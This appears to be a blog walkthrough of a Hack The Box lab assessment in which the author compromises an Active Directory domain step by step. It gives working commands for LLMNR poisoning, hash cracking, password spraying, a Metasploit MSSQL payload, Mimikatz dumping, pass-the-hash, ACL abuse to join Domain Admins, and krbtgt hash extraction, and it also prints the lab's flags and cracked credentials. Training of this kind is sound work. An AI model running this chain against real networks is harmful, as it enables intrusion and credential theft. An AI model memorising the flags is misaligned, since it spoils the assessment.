Skip to main content

Command Palette

Search for a command to run...

HTB - AD Enumeration & Attacks - Skills Assessment Part II

Updated
9 min read

Scenario Overview

Inlanefreight asked us to do a full internal penetration test to find and fix as many flaws as possible before a merger. We have access to an internal Parrot Linux VM, so stealth isn’t a concern. The goal is to get a foothold in the domain, enumerate Active Directory, find misconfigurations, move laterally, escalate privileges, and eventually take over the domain.

Attack Chain

The following attack chain summarizes the steps taken from initial access to domain compromise.

LLMNR/NBT-NS Poisoning → Captured NTLMv2 Hash (AB920) → Cracked Credentials → WinRM Access on MS01 → Password Spraying → New Credentials (BR086) → SMB Enumeration → Config File Credentials (netdb) → SQL01 Access → SYSTEM Privileges → Hash Dumping → Pass-the-Hash → Admin Access on MS01 → LLMNR/NBNS poisoning → Captured NTLMv2 Hash (CT059) → Cracked Credentials → ACL Abuse (CT059) → Domain Admin Privileges → Domain Compromise

Lab Walkthrough

1. Obtain a password hash for a domain user account that can be leveraged to gain a foothold in the domain. What is the account name?

Since the machine had access to the internal domain network, I ran Responder to perform LLMNR/NBT-NS poisoning and capture authentication attempts from domain users.

I started Responder with the following command:

sudo responder -I ens224 -dwPv

I captured an NTLMv2 hash for the domain user AB920.

2. What is this user's cleartext password?

To recover the plaintext password, I attempted an offline password cracking attack using Hashcat.

I used the rockyou wordlist with the following command:

hashcat -m 5600 AB920_hash /usr/share/wordlists/rockyou.txt

Hashcat successfully cracked the hash and revealed the password to be weasal.

3. Submit the contents of the C:\flag.txt file on MS01.

Next, I performed a network sweep to identify live hosts on the internal domain network. I first used fping to quickly find active IPs:

fping -agq 172.16.7.0/23 > alive.txt

This produced a list of responsive hosts in alive.txt. I then ran Nmap to enumerate these hosts in detail:

sudo nmap -v -A -iL alive.txt

The scan revealed:

IP Address Hostname
172.16.7.3 DC01
172.16.7.50 MS01
172.16.7.60 SQL01

Alternatively, I could simply ping MS01 to obtain its IP address.

I used CrackMapExec to check if the credentials worked over WinRM on MS01.

crackmapexec winrm 172.16.7.50 -u AB920 -p weasal

I used the valid credentials to get a remote shell on MS01 using Evil‑WinRM:

evil-winrm -i 172.16.7.50 -u AB920 -p weasal

After logging in successfully, I retrieved the flag with cat C:\flag.txt, which returned aud1t_gr0up_m3mbersh1ps!.

4. Use a common method to obtain weak credentials for another user. Submit the username for the user whose credentials you obtain.

I enumerated domain users using rpcclient and saved them to a file:

rpcclient -U "AB920%weasal" -c "enumdomusers" 172.16.7.3 | awk -F'[][]' '{print $2}' > users.txt

This returned 2901 users.

I then checked the domain password policy with crackmapexec:

crackmapexec smb 172.16.7.3 --pass-pol -u 'AB920' -p 'weasal'

It showed no password complexity, no account lockout threshold, and a minimum password length of 1, making password spraying viable.

I performed password spraying against the user list. Since the user list was large, spraying a full password list would take too long, so I tested a common password instead. The password Welcome1 worked for the user BR086.

kerbrute passwordspray -d inlanefreight.local --dc 172.16.7.3 users.txt Welcome1

5. What is this user's password?

Welcome1

6. Locate a configuration file containing an MSSQL connection string. What is the password for the user listed in this file?

I used smbmap with the credentials for BR086 to enumerate SMB shares on the domain controller:

smbmap -u "BR086" -p "Welcome1" -d inlanefreight.local -H 172.16.7.3

After identifying the Department Shares directory, I recursively listed its contents:

smbmap -u BR086 -p Welcome1 -d inlanefreight.local -H 172.16.7.3 -R "Department Shares"

I noticed an interesting configuration file named web.config, so I downloaded it:

smbmap -u BR086 -p Welcome1 -d inlanefreight.local -H 172.16.7.3 -R "Department Shares" -A web.config

Inside the web.config file, I found credentials: netdb:D@ta_bAse_adm1n!.

7. Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host.

I tested the discovered credentials across the subnet to see where they were valid:

crackmapexec mssql 172.16.7.240/23 -u 'netdb' -p 'D@ta_bAse_adm1n!' --local-auth

The credentials were valid on SQL01.

I used the Metasploit module exploit/windows/mssql/mssql_payload to gain a shell on the machine.

sudo msfconsole -q
use exploit/windows/mssql/mssql_payload
set rhosts 172.16.7.60
set username netdb
set password D@ta_bAse_adm1n!
set lhost 172.16.7.240
run

After gaining a shell on SQL01, I checked my privileges and saw that it was running as NT Service\MSSQL$SQLEXPRESS. I used Meterpreter’s getsystem command, which attempts several privilege escalation techniques, and it succeeded using Named Pipe Impersonation (PrintSpooler variant). This gave me NT AUTHORITY\SYSTEM, allowing me to read the administrator flag s3imp3rs0nate_cl@ssic.

8. Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.

After obtaining SYSTEM privileges, I used Mimikatz to dump local account hashes. First, I loaded the Kiwi extension and then dumped the SAM database:

load kiwi
lsa_dump_sam

This revealed the NTLM hash for the Administrator account.

I then tested the dumped Administrator NTLM hash across the subnet using CrackMapExec to see where it was valid:

crackmapexec winrm 172.16.7.240/23 -u 'Administrator' -H 'bdaffbfe64f1fc646a3353be1c2c3c99' --local-auth | grep '[+]'

The hash was valid on MS01, so I used pass-the-hash to log in with Evil-WinRM:

evil-winrm -i 172.16.7.50 -u Administrator -H bdaffbfe64f1fc646a3353be1c2c3c99

After logging in successfully, I retrieved the flag: exc3ss1ve_adm1n_r1ights!.

9. Obtain credentials for a user who has GenericAll rights over the Domain Admins group. What's this user's account name?

Since I had Meterpreter access on SQL01, I used PowerView to enumerate ACLs on the Domain Admins group to find users with GenericAll rights.

First, I loaded the PowerShell extension and imported PowerView:

load powershell
powershell_import /usr/share/windows-resources/powersploit/Recon/PowerView.ps1

Then I executed the following command to identify accounts with GenericAll over the Domain Admins group:

powershell_execute 'Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll"} | Select IdentityReference, ActiveDirectoryRights, ObjectDN'

The output showed that the user CT059 had GenericAll rights over the Domain Admins group.

Alternatively, I could use BloodHound to identify privilege relationships in the domain.

First, I collected the data using:

bloodhound-python -u 'AB920' -p 'weasal' -ns 172.16.7.3 -d INLANEFREIGHT.LOCAL -c all

After the collection finished, I zipped the output files:

zip -r bh.zip *.json

I then transferred the archive to my local machine by hosting it with a simple HTTP server:

python3 -m http.server 8080

And downloading it locally:

wget http://10.129.22.148:8080/bh.zip

I started BloodHound with:

sudo bloodhound --no-sandbox

I then imported the collected BloodHound data (bh.zip) into the BloodHound interface.

To identify users with GenericAll rights over the Domain Admins group, I ran the following Cypher query in BloodHound:

MATCH (u:User)-[r:GenericAll]->(g:Group {name: "DOMAIN ADMINS@INLANEFREIGHT.LOCAL"}) RETURN u

The query revealed that the user CT059 had GenericAll permissions over the Domain Admins group.

10. Crack this user's password hash and submit the cleartext password as your answer.

Since I had WinRM access on MS01, I transferred Inveigh.ps1 to the machine and logged in using pass‑the‑hash:

evil-winrm -i 172.16.7.50 -u Administrator -H bdaffbfe64f1fc646a3353be1c2c3c99 -s .

I then executed Inveigh to perform LLMNR/NBNS poisoning:

Inveigh.ps1
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

This captured NTLMv2 hashes for the users CT059 and AB920, which were saved in Inveigh-NTLMv2.txt.

I attempted to crack the captured hashes using John the Ripper, but encountered an encoding issue. The file was encoded in UTF‑16, so I converted it to UTF‑8 first:

iconv -f UTF-16 -t UTF-8 Inveigh-NTLMv2.txt > NTLMv2.txt

I then cracked the hashes using the rockyou wordlist:

john --wordlist=/usr/share/wordlists/rockyou.txt NTLMv2.txt

This revealed the password for CT059 as charlie1.

11. Submit the contents of the flag.txt file on the Administrator desktop on the DC01 host.

The user CT059 has GenericAll rights over the Domain Admins group, which means full control, including the ability to add or remove members. I used this permission to add CT059 to the Domain Admins group using built-in PowerShell and ADSI.

First, I listed the current members of the Domain Admins group:

([ADSISearcher]"name=Domain Admins").FindOne().Properties.member

The output showed that the only member was built-in Administrator.

First, I needed the Distinguished Name (DN) of both the Domain Admins group and the user CT059. I used ADSI Searcher to retrieve them:

([ADSISearcher]"name=Domain Admins").FindOne().Properties.distinguishedname
([ADSISearcher]"samaccountname=CT059").FindOne().Properties.distinguishedname

Next, I defined two variables to store the LDAP paths for the group and the user:

$groupPath = "LDAP://CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
$userPath = "LDAP://CN=CT059,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
  • $groupPath → points to the Domain Admins group object.

  • $userPath → points to the CT059 user account that I want to add to the group.

Next, I connected to the Domain Admins group object as CT059, which already had the necessary rights:

\(group = New-Object System.DirectoryServices.DirectoryEntry(\)groupPath, "INLANEFREIGHT\CT059", "charlie1")

This line essentially tells Active Directory: "Open the Domain Admins group object for editing, and authenticate me as CT059."

Next, I added the user to the group:

\(group.Add(\)userPath)
$group.CommitChanges()
  • \(group.Add(\)userPath) → adds the user to the group.

  • $group.CommitChanges() → saves the changes in Active Directory.

I verified the change by listing the members of Domain Admins again:

([ADSISearcher]"name=Domain Admins").FindOne().Properties.member

This confirmed that CT059 was successfully added to the Domain Admins group.

I then verified that CT059 now had administrative privileges across the entire domain by authenticating to multiple hosts using CrackMapExec:

crackmapexec smb 172.16.7.240/23 -u CT059 -p charlie1

The output showed Pwn3d! on all machines, confirming that the account had successfully obtained Domain Admin–level access.

With Domain Admin privileges, I was able to obtain a WinRM shell on the Domain Controller using Evil‑WinRM:

evil-winrm -i 172.16.7.3 -u CT059 -p charlie1

After logging in, I retrieved the final flag: acLs_f0r_th3_w1n!.

12. Submit the NTLM hash for the KRBTGT account for the target domain after achieving domain compromise.

Finally, to obtain the NTLM hash of the KRBTGT account, I used Impacket’s secretsdump tool with the following command:

impacket-secretsdump INLANEFREIGHT/CT059:charlie1@172.16.7.3 -just-dc-user krbtgt

This successfully dumped the KRBTGT account hash: 7eba70412d81c1cd030d72a3e8dbe05f.